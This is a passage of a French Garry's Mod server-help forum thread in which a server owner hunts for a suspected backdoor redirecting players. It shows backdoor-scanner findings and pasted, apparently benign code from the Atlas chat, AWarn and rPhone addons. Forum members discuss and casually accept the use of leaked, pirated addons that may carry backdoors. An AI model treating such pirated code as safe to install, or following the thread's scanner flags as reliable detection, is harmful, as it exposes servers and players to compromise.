207 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/config/config.lua:300 ["STEAM_0:0:00000000"] = "superadmin",
208 2 - AUTHENT (Presence of Steam ID) gamemodes/darkrp/gamemode/config/config.lua:301 ["STEAM_0:0:11111111"] = "admin",
209 3 - OBFUSC (Obfuscated / encrypted code) lua/entities/gmod_sw_base.lua:137 local r = bit.rshift(bit.band(col32, 0xFF000000), 24)
210 3 - OBFUSC (Obfuscated / encrypted code) lua/entities/gmod_sw_base.lua:138 local g = bit.rshift(bit.band(col32, 0x00FF0000), 16)
211 3 - OBFUSC (Obfuscated / encrypted code) lua/entities/gmod_sw_base.lua:139 local b = bit.rshift(bit.band(col32, 0x0000FF00), 8)
212 3 - OBFUSC (Obfuscated / encrypted code) lua/entities/gmod_sw_base.lua:140 local a = bit.band(col32, 0x000000FF)
[Nomalua] Output complete!
j'ai utilisé l'astuce de Nestor =D
en esperant que vous pouvez m'aider
​
 
Ant00ine

Ant00ine

Geek suprême
Messages
455
Score réaction
225
Points
150
Salutations distinguées; Est ce que lorsque tu essayes de changer de métier, ça ne te change pas non plus?
 
  • J'aime
Réactions: Arawen
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
16 288
Score réaction
9 687
Points
1 845
collection steam ? , Leak ?
 
  • Initiateur de la discussion
DrayZor

DrayZor

Bambi
Messages
73
Score réaction
5
Points
35
Ant00ine à dit:
Salutations distinguées; Est ce que lorsque tu essayes de changer de métier, ça ne te change pas non plus?
Cliquez pour agrandir...
je n'ait même pas le temps ^^'

Yoh Sambre ♪ à dit:
collection steam ?
Cliquez pour agrandir...
Comment

Yoh Sambre ♪ à dit:
Leak ?
Cliquez pour agrandir...
Malheureusement, mais j'ai on projet : acheter tout mes addons leak (je pense en avoir pour 200€)
 
  • J'aime
Réactions: slownls
Yoh Sambre ♪

Yoh Sambre ♪

Shaman Fou
Messages
16 288
Score réaction
9 687
Points
1 845
si tu a ce style d'addons en leak tu est probablement infecter

 
  • Initiateur de la discussion
DrayZor

DrayZor

Bambi
Messages
73
Score réaction
5
Points
35
Yoh Sambre ♪ à dit:
si tu a ce style d'addons en leak tu est probablement infecter

Cliquez pour agrandir...
j'ai atlas/awarn/rphone et pour ulib et ulx c fourni avec des plugin mtxje vais essayer et je te dit quoi merci =D
 
  • Initiateur de la discussion
DrayZor

DrayZor

Bambi
Messages
73
Score réaction
5
Points
35
Atlas chat :

Code: 
-- refractionservers.net, Chewgum - chewgumtj@gmail.com --
atlaschat = atlaschat or {}
atlaschat.ranks = {}
atlaschat.restrictions = {}
AddCSLuaFile("sh_utilities.lua")
AddCSLuaFile("sh_config.lua")
AddCSLuaFile("cl_expression.lua")
AddCSLuaFile("cl_theme.lua")
AddCSLuaFile("cl_panel.lua")
AddCSLuaFile("gui/frame.lua")
AddCSLuaFile("gui/config.lua")
AddCSLuaFile("gui/slider.lua")
AddCSLuaFile("gui/expression_list.lua")
AddCSLuaFile("gui/form.lua")
AddCSLuaFile("gui/rank_list.lua")
AddCSLuaFile("gui/editor.lua")
AddCSLuaFile("gui/mysql.lua")
AddCSLuaFile("gui/restrictions.lua")
AddCSLuaFile("gui/chatroom.lua")
include("sh_utilities.lua")
include("sh_config.lua")
include("sv_sql.lua")
include("cl_theme.lua") -- Nothing is actually used serverside.
resource.AddFile("materials/atlaschat/plus.png")
resource.AddFile("materials/atlaschat/cross.png")
resource.AddFile("materials/atlaschat/check.png")
resource.AddFile("materials/atlaschat/users.png")
resource.AddFile("materials/atlaschat/emotes.png")
resource.AddFile("materials/atlaschat/settings.png")
resource.AddFile("materials/atlaschat/emoticons/overrustle.png")
resource.AddFile("materials/atlaschat/emoticons/garry.png")
resource.AddFile("materials/atlaschat/emoticons/gaben.png")
resource.AddFile("resource/fonts/opensans_bold.ttf")
resource.AddFile("resource/fonts/opensans_bolditalic.ttf")
resource.AddFile("resource/fonts/opensans_extrabold.ttf")
resource.AddFile("resource/fonts/opensans_extrabolditalic.ttf")
resource.AddFile("resource/fonts/opensans_italic.ttf")
resource.AddFile("resource/fonts/opensans_light.ttf")
resource.AddFile("resource/fonts/opensans_lightitalic.ttf")
resource.AddFile("resource/fonts/opensans_regular.ttf")
resource.AddFile("resource/fonts/opensans_semibold.ttf")
resource.AddFile("resource/fonts/opensans_semibolditalic.ttf")
-- configuration ot add usergroups to a whitelist of who can edit stuff
----------------------------------------------------------------------
-- Purpose:
--
----------------------------------------------------------------------
hook.Add("Initialize", "atlaschat.Initialize", function() local version = file.Read("atlaschat_version.txt", "DATA") if (version) then ATLASCHAT_VERSION_PREVIOUS = tonumber(version) end file.Write("atlaschat_version.txt", tostring(ATLASCHAT_VERSION), "DATA") atlaschat.sql.Initialize()
end)
----------------------------------------------------------------------
-- Purpose:
-- Called when the database has connected.
----------------------------------------------------------------------
hook.Add("atlaschat.DatabaseConnected", "1", function(remote, firstTime) if (firstTime) then atlaschat.sql.Query("CREATE TABLE IF NOT EXISTS atlaschat_players(id INTEGER PRIMARY KEY " .. (remote and "AUTO_INCREMENT" or "") .. ", steamID TEXT, title TEXT)") atlaschat.sql.Query("CREATE TABLE IF NOT EXISTS atlaschat_ranks(id INTEGER PRIMARY KEY " .. (remote and "AUTO_INCREMENT" or "") .. ", usergroup TEXT, icon TEXT, tag TEXT)") atlaschat.sql.Query("CREATE TABLE IF NOT EXISTS atlaschat_restrictions(id INTEGER PRIMARY KEY " .. (remote and "AUTO_INCREMENT" or "") .. ", expression TEXT, usergroups TEXT)") atlaschat.sql.Query("SELECT * FROM atlaschat_ranks", function(data, query) if (data) then for i = 1, #data do local info = data[i] atlaschat.ranks[info.usergroup] = {tag = info.tag, icon = info.icon} end end end) atlaschat.sql.Query("SELECT * FROM atlaschat_restrictions", function(data, query) if (data) then for i = 1, #data do local info = data[i] atlaschat.restrictions[info.expression] = util.JSONToTable(info.usergroups) end end end) end
end)
----------------------------------------------------------------------
-- Purpose:
-- Called when a player connects to the server.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.plcnt")
gameevent.Listen("player_connect")
hook.Add("player_connect", "atlaschat.PlayerConnect", function(data) net.Start("atlaschat.plcnt") net.WriteString(data.name) net.WriteString(data.networkid) net.Broadcast()
end)
----------------------------------------------------------------------
-- Purpose:
-- Called when a player wants to load their data.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.plload")
net.Receive("atlaschat.plload", function(bits, player) local loaded = player.atlaschatLoaded player.nextMessageAtlas = 0 if (!loaded) then local steamID = sql.SQLStr(player:SteamID()) atlaschat.sql.Query("SELECT * FROM atlaschat_players WHERE steamID=" .. steamID, function(data, query) if (IsValid(player)) then if (data and #data > 0) then data = data[1] if (data.title and data.title != "" and data.title != "NULL") then player:SetNetworkedString("ac_title", data.title) end else atlaschat.sql.Query("INSERT INTO atlaschat_players(steamID) VALUES(" .. steamID .. ")") end end end) timer.Simple(0.2, function() if (IsValid(player)) then atlaschat.config.SyncVariables(player) end end) for unique, data in pairs(atlaschat.ranks) do local tag = data.tag != NULL and data.tag or "" net.Start("atlaschat.crtrnkgt") net.WriteString(unique) net.WriteString(tag) net.WriteString(data.icon) net.Send(player) end for expression, usergroups in pairs(atlaschat.restrictions) do local len = table.Count(usergroups) net.Start("atlaschat.rstcs") net.WriteString(expression) net.WriteUInt(len, 8) for k, v in pairs(usergroups) do net.WriteString(k) end net.WriteBit(false) net.Send(player) end player.atlaschatLoaded = true end
end)
----------------------------------------------------------------------
-- Purpose:
-- Setting a players title.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.stplttl")
net.Receive("atlaschat.stplttl", function(bits, player) local isAdmin = player:IsSuperAdmin() if (isAdmin) then local target = net.ReadString() target = util.FindPlayerAtlaschat(target, player) if (IsValid(target)) then local title = net.ReadString() local steamID = sql.SQLStr(target:SteamID()) target:SetNetworkedString("ac_title", title) atlaschat.sql.Query("UPDATE atlaschat_players SET title=" .. sql.SQLStr(title) .. " WHERE steamID=" .. steamID) end end
end)
----------------------------------------------------------------------
-- Purpose:
-- Creating a new usergroup.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.crtrnk")
util.AddNetworkString("atlaschat.crtrnkex")
util.AddNetworkString("atlaschat.crtrnkgt")
net.Receive("atlaschat.crtrnk", function(bits, player) local isAdmin = player:IsSuperAdmin() if (isAdmin) then local userGroup = net.ReadString() if (atlaschat.ranks[userGroup] != nil) then atlaschat.Notify(":exclamation: Could not create the usergroup: The usergroup already exist!", player) else atlaschat.ranks[userGroup] = {tag = "", icon = "icon16/user.png"} atlaschat.sql.Query("INSERT INTO atlaschat_ranks(id, usergroup, icon, tag) VALUES(NULL, " .. sql.SQLStr(userGroup) .. ", " .. sql.SQLStr("icon16/user.png") .. ", " .. sql.SQLStr("") .. ")") net.Start("atlaschat.crtrnkgt") net.WriteString(userGroup) net.WriteString("") net.WriteString("icon16/user.png") net.Broadcast() atlaschat.Notify(":information: Successfully created the usergroup '" .. userGroup .. "'!", player) end end
end)
----------------------------------------------------------------------
-- Purpose:
-- Removing a usergroup.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.rmvrnk")
net.Receive("atlaschat.rmvrnk", function(bits, player) local isAdmin = player:IsSuperAdmin() if (isAdmin) then local userGroup = net.ReadString() if (atlaschat.ranks[userGroup]) then atlaschat.ranks[userGroup] = nil atlaschat.sql.Query("DELETE FROM atlaschat_ranks WHERE usergroup = " .. sql.SQLStr(userGroup)) net.Start("atlaschat.crtrnkgt") net.WriteString(userGroup) net.WriteString("") net.WriteString("") net.WriteUInt(1, 8) net.Broadcast() atlaschat.Notify(":information: Successfully removed the usergroup '" .. userGroup .. "'!", player) else atlaschat.Notify(":exclamation: Could not remove the usergroup: The usergroup does not exist!", player) end end
end)
----------------------------------------------------------------------
-- Purpose:
-- Changing the icon & title of a usergroup.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.chnric")
net.Receive("atlaschat.chnric", function(bits, player) local isAdmin = player:IsSuperAdmin() if (isAdmin) then local userGroup = net.ReadString() if (atlaschat.ranks[userGroup]) then local tag = net.ReadString() local icon = net.ReadString() atlaschat.ranks[userGroup] = {tag = tag, icon = icon} atlaschat.sql.Query("UPDATE atlaschat_ranks SET icon = " .. sql.SQLStr(icon) .. ", tag = " .. sql.SQLStr(tag) .. " WHERE usergroup = " .. sql.SQLStr(userGroup)) net.Start("atlaschat.crtrnkgt") net.WriteString(userGroup) net.WriteString(tag) net.WriteString(icon) net.WriteUInt(2, 8) net.Broadcast() atlaschat.Notify(":information: Successfully changed the icon/tag of usergroup '" .. userGroup .. "' to '" .. icon .. " - " .. tag .. "'!", player) else atlaschat.Notify(":exclamation: Could not change the icon/tag: The usergroup does not exist!", player) end end
end)
----------------------------------------------------------------------
-- Purpose:
-- Adding & removing expression restrictions.
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.rstcs")
net.Receive("atlaschat.rstcs", function(bits, player) local isAdmin = player:IsSuperAdmin() if (isAdmin) then local remove = util.tobool(net.ReadBit()) local expression = net.ReadString() local usergroup = net.ReadString() atlaschat.restrictions[expression] = atlaschat.restrictions[expression] or {} if (remove) then atlaschat.restrictions[expression][usergroup] = nil else atlaschat.restrictions[expression][usergroup] = true end net.Start("atlaschat.rstcs") net.WriteString(expression) net.WriteUInt(1, 8) net.WriteString(usergroup) net.WriteBit(remove) net.Broadcast() -- Lazy way of storing data. local info = util.TableToJSON(atlaschat.restrictions[expression]) if (atlaschat.sql.IsRemote()) then atlaschat.sql.Query("SELECT id FROM atlaschat_restrictions WHERE expression = " .. sql.SQLStr(expression), function(data, query) if (#data > 0) then atlaschat.sql.Query("UPDATE atlaschat_restrictions SET usergroups = " .. sql.SQLStr(info) .. " WHERE expression = " .. sql.SQLStr(expression)) else atlaschat.sql.Query("INSERT INTO atlaschat_restrictions(id, expression, usergroups) VALUES(NULL, " .. sql.SQLStr(expression) .. ", " .. sql.SQLStr(info) .. ")") end end) else atlaschat.sql.Query("INSERT OR REPLACE INTO atlaschat_restrictions(id, expression, usergroups) VALUES((SELECT id FROM atlaschat_restrictions WHERE expression = " .. sql.SQLStr(expression) .. "), " .. sql.SQLStr(expression) .. ", " .. sql.SQLStr(info) .. ")") end end
end)
---------------------------------------------------------
-- Private chatting.
---------------------------------------------------------
local privateMessages = {}
---------------------------------------------------------
-- Creating a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.stpm")
util.AddNetworkString("atlaschat.nwpm")
net.Receive("atlaschat.stpm", function(bits, player) local key, count = nil, table.Count(privateMessages) for i = 1, count do if (privateMessages[i] == nil) then key = i break end end if (!key) then key = count +1 end privateMessages[key] = {players = {player}, creator = player} net.Start("atlaschat.nwpm") net.WriteUInt(key, 8) net.Send(player) local data = privateMessages[key] net.Start("atlaschat.gtplpm") net.WriteUInt(key, 8) net.WriteUInt(#data.players, 8) for i = 1, #data.players do net.WriteEntity(data.players[i]) end net.WriteEntity(data.creator) net.Send(player)
end)
---------------------------------------------------------
-- Sending a text message in a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.rxpm")
util.AddNetworkString("atlaschat.txpm")
net.Receive("atlaschat.txpm", function(bits, player) if (player.nextMessageAtlas > CurTime()) then return end player.nextMessageAtlas = CurTime() +0.25 -- Don't allow dead players in TTT to private chat! if (TellTraitorsAboutTraitors) then if (player:IsSpec() and GAMEMODE.round_state == ROUND_ACTIVE and DetectiveMode()) then player:ChatPrint("You cannot talk in private chats in this state.") return end end local key = net.ReadUInt(8) local text = net.ReadString() local receivers = privateMessages[key] if (receivers) then receivers = receivers.players text = string.sub(text, 0, 127) net.Start("atlaschat.rxpm") net.WriteUInt(key, 8) net.WriteString(text) net.WriteEntity(player) net.Send(receivers) ServerLog("[atlaschat] (PM) " .. player:Nick() .. ": " .. text .. "\n") end
end)
---------------------------------------------------------
-- Leaving a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.lvpm")
net.Receive("atlaschat.lvpm", function(bits, player) local key = net.ReadUInt(8) local data = privateMessages[key] if (data) then for i = 1, #data.players do local value = data.players[i] if (value == player) then table.remove(data.players, i) break end end net.Start("atlaschat.nkickpm") net.WriteUInt(key, 8) net.WriteEntity(player) net.WriteBit(true) net.Send(data.players) if (#data.players <= 0) then privateMessages[key] = nil end end
end)
---------------------------------------------------------
-- Joining a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.jnpm")
util.AddNetworkString("atlaschat.gtplpm")
net.Receive("atlaschat.jnpm", function(bits, player) local key = net.ReadUInt(8) local data = privateMessages[key] if (data) then local exists = false for i = 1, #data.players do local info = data.players[i] if (info == player) then exists = true break end end if (!exists) then table.insert(data.players, player) -- Send information about the chat room to the player. net.Start("atlaschat.gtplpm") net.WriteUInt(key, 8) net.WriteUInt(#data.players, 8) for i = 1, #data.players do net.WriteEntity(data.players[i]) end net.WriteEntity(data.creator) net.Send(player) -- Network that this player has joined the chat room. net.Start("atlaschat.gtplpm") net.WriteUInt(key, 8) net.WriteUInt(1, 8) net.WriteEntity(player) net.Send(data.players) end end
end)
---------------------------------------------------------
-- Kicking a player from a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.kickpm")
util.AddNetworkString("atlaschat.nkickpm")
net.Receive("atlaschat.kickpm", function(bits, player) local key = net.ReadUInt(8) local data = privateMessages[key] if (data) then if (data.creator == player) then local target = net.ReadEntity() for i = 1, #data.players do local info = data.players[i] if (info == target) then net.Start("atlaschat.nkickpm") net.WriteUInt(key, 8) net.WriteEntity(target) net.WriteBit(false) net.Send(data.players) table.remove(data.players, i) break end end end end
end)
---------------------------------------------------------
-- Inviting a player to a private chat.
---------------------------------------------------------
util.AddNetworkString("atlaschat.invpm")
util.AddNetworkString("atlaschat.sinvpm")
net.Receive("atlaschat.invpm", function(bits, player) local key = net.ReadUInt(8) local target = net.ReadString() target = util.FindPlayerAtlaschat(target, player) if (IsValid(target)) then net.Start("atlaschat.sinvpm") net.WriteUInt(key, 8) net.WriteEntity(player) net.Send(target) end
end)
---------------------------------------------------------
-- Clears your configuration.
---------------------------------------------------------
util.AddNetworkString("atlaschat.clrcfg")
util.AddNetworkString("atlaschat.rqclrcfg")
net.Receive("atlaschat.rqclrcfg", function(bits, player) local target = net.ReadString() if (target != "") then target = util.FindPlayerAtlaschat(target, player) if (IsValid(target)) then if (target != player and !player:IsAdmin()) then return end net.Start("atlaschat.clrcfg") net.Send(target) if (target == player) then atlaschat.Notify("Successfully reset your atlaschat configuration! Close and open your chatbox to apply.", target) else atlaschat.Notify(player:Nick() .. " has reset your atlaschat configuration! Close and open your chatbox to apply.", target) atlaschat.Notify("You have reset " .. target:Nick() .. "'s atlaschat configuration! Close and open your chatbox to apply.", player) end end else if (player:IsAdmin()) then net.Start("atlaschat.clrcfg") net.Broadcast() atlaschat.Notify(player:Nick() .. " has reset everyone's atlaschat configuration! Close and open your chatbox to apply.") end end
end)
---------------------------------------------------------
-- Atlas chat messages.
---------------------------------------------------------
util.AddNetworkString("atlaschat.msg")
function atlaschat.Notify(text, player) net.Start("atlaschat.msg") net.WriteString(text) if (IsValid(player)) then net.Send(player) else net.Broadcast() end
end
---------------------------------------------------------
-- Net message for larger text!
---------------------------------------------------------
util.AddNetworkString("atlaschat.chat")
util.AddNetworkString("atlaschat.chatText")
local isstring = isstring
net.Receive("atlaschat.chat", function(bits, player) if (player.nextMessageAtlas > CurTime()) then return end player.nextMessageAtlas = CurTime() +0.25 local text = net.ReadString() local team = util.tobool(net.ReadBit()) text = string.sub(text, 0, 127) local newText = hook.Run("PlayerSay", player, text, team, !player:Alive()) -- A workaround for dumb coders that return a boolean in the PlayerSay hook. if (isstring(newText)) then text = newText elseif (not newText) then text = "" end if (text != "") then if (game.IsDedicated()) then ServerLog(player:Nick() .. ": " .. text .. "\n") end local filter = {} local players = util.GetPlayers() for i = 1, #players do local target = players[i] if (IsValid(target)) then local canSee = hook.Run("PlayerCanSeePlayersChat", text, team, target, player) if (canSee or target == player) then table.insert(filter, target) end end end net.Start("atlaschat.chatText") net.WriteString(text) net.WriteEntity(player) net.WriteBit(team) net.Send(filter) end
end)
----------------------------------------------------------------------
-- Purpose:
-- Sets "Player.IsTyping"
----------------------------------------------------------------------
util.AddNetworkString("atlaschat.istyping")
net.Receive("atlaschat.istyping", function(bits, player) local bool = util.tobool(net.ReadBit()) player:SetNetworkedBool("atlaschat.istyping", bool)
end)
----------------------------------------------------------------------
-- Purpose:
-- Returns true/false if the player is/isn't typing.
----------------------------------------------------------------------
function PLAYER_META:IsTyping() return self:GetNetworkedBool("atlaschat.istyping")
end
Awarn :

j'ai quelque chose de supect la :
Code: 
function AWarn_ConvertSteamID( id ) id = string.upper(string.Trim( id )) if string.sub( id, 1, 6 ) == 'STEAM_' then local parts = string.Explode( ':', string.sub(id,7) ) local id_64 = (1197960265728 + tonumber(parts[2])) + (tonumber(parts[3]) * 2) local str = string.format('%f',id_64) return '7656'..string.sub( str, 1, string.find(str,'.',1,true)-1 ) else if tonumber( id ) ~= nil then local id_64 = tonumber( id:sub(2) ) local a = id_64 % 2 == 0 and 0 or 1 local b = math.abs(6561197960265728 - id_64 - a) / 2 local sid = "STEAM_0:" .. a .. ":" .. (a == 1 and b -1 or b) return sid end end
end
Rphone:
Code: 
local ContentWorkshopID = "237428507"
if SERVER then AddCSLuaFile() AddCSLuaFile( "rphone/core/sh_rphone.lua" )
end
include( "rphone/core/sh_rphone.lua" )
rPhone.SharedInclude( "rphone/core/sh_config.lua" )
rPhone.SharedInclude( "rphone/core/sh_numbers.lua" )
rPhone.SharedInclude( "rphone/core/sh_tones.lua" )
rPhone.ServerInclude( "rphone/core/sh_libs.lua" )
rPhone.ServerInclude( "rphone/core/server/sv_numbers.lua" )
rPhone.ServerInclude( "rphone/core/server/sv_tones.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_numbers.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_packages.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_apps.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_canvas.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_panel.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_rphone.lua" )
rPhone.ClientInclude( "rphone/core/client/cl_tones.lua" )
local bundlesdir = "rphone/bundles/"
local _, bundles = file.Find( rPhone.ToGarrySafePath( bundlesdir, "/*" ), "LUA" )
for _, bundle in pairs( bundles ) do local binit = rPhone.ToGarrySafePath( bundlesdir, bundle, "sh_init.lua" ) if file.Exists( binit, "LUA" ) then rPhone.SharedInclude( binit ) end
end
if !SERVER then return end
if rPhone.GetVariable( "RPHONE_DOWNLOAD_CONTENT_WORKSHOP", true ) then resource.AddWorkshop( ContentWorkshopID )
else local function addResourceDirectory( dir ) local resources, rdirs = file.Find( rPhone.ToGarrySafePath( dir, "/*" ), "GAME" ) for _, rs in pairs( resources ) do resource.AddFile( rPhone.ToGarrySafePath( dir, rs ) ) end for _, rdir in pairs( rdirs ) do addResourceDirectory( rPhone.ToGarrySafePath( dir, rdir ) ) end end addResourceDirectory( "materials/dan/rphone/" ) addResourceDirectory( "sound/dan/rphone/" )
end
 
S

skillztv_

Geek suprême
Messages
248
Score réaction
47
Points
125
j'ai trouvé : http://mistforums.com/luasource?path=bootstrapper.lua , mais ça ne vien pas de celui-ci.
 
Ant00ine

Ant00ine

Geek suprême
Messages
455
Score réaction
225
Points
150
De toute façon ton anti backdoor/redirection je l'avais test et il bloque le changement de metier. Donc pas top

Ensuite pour tes addons

Le awarn2 est clean, c'est juste une convention du steam id en steam 64 (il s'ajoute en 64)
Le rphone est lui aussi clean.
Pour le Atlas tchat, il y a des fonctions qui pour moi ont l'air d'être en trop. Ca vient peut être de celui ci.

Quand tu les retires, la redirection persiste?
 
  • J'aime
Réactions: Arawen
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Yoh Sambre ♪ à dit:
si tu a ce style d'addons en leak tu est probablement infecter

Cliquez pour agrandir...
Leak ulx et ulib BrainSlug
 
  • J'aime
Réactions: Yoh Sambre ♪
Lap3che

Lap3che

Helpeur Divin
Messages
1 992
Score réaction
1 204
Points
495
  • J'aime
Réactions: Yoh Sambre ♪
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
  • J'aime
Réactions: Lap3che
Fleodon

Fleodon

Geek suprême
Messages
819
Score réaction
193
Points
150
Yoh Sambre ♪ à dit:
si tu a ce style d'addons en leak tu est probablement infecter

Cliquez pour agrandir...
Leak des logs gratuites ? 4Head
 
Fleodon

Fleodon

Geek suprême
Messages
819
Score réaction
193
Points
150
Lap3che à dit:
Personnellement j’ai leak le VMF de Rockford
Kappa Kappa
Cliquez pour agrandir...
Ah donc tu fais ça pour l'argent, hmm je vois..
 
  • J'aime
Réactions: Lap3che
ZarosOVH

ZarosOVH

Modérateur
Membre du Staff
Messages
6 527
Score réaction
5 488
Points
1 295
Fleodon

Fleodon

Geek suprême
Messages
819
Score réaction
193
Points
150
kato13

kato13

Geek suprême
Messages
92
Score réaction
47
Points
130
Le serveur ou sa te redirect sa serai pas un dayz ?
 
Identifiez-vous ou inscrivez-vous pour participer.
Discord d'entraide

Aide-Serveur.fr est un site spécialisé dans l'aide à la configuration de VPS et serveur de jeu Minecraft, GMod, Ark, Arma 3, Rust, Valheim, Socialize et bien d'autres.
Notre site web est propulsé par les services d'infogérance de HostMe.
© 2022 - Aide-Serveur.fr

Rejoignz-nous sur Discord